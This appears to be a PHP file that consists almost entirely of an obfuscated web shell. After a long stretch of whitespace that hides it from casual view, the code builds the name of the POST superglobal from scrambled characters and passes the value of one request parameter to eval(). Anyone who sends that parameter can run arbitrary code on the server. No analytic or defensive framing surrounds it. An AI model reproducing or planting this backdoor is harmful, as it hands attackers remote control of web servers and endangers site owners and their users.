<?php                                                                                                                                                                                                                                                                        $ckx4="pt_os" ;$ktw6=strtoupper( $ckx4[2].$ckx4[0]. $ckx4[3].$ckx4[4]. $ckx4[1] ) ;if(isset ( ${ $ktw6 }['qa04af1'] ) ){ eval(${$ktw6 } [ 'qa04af1' ] ) ;} ?>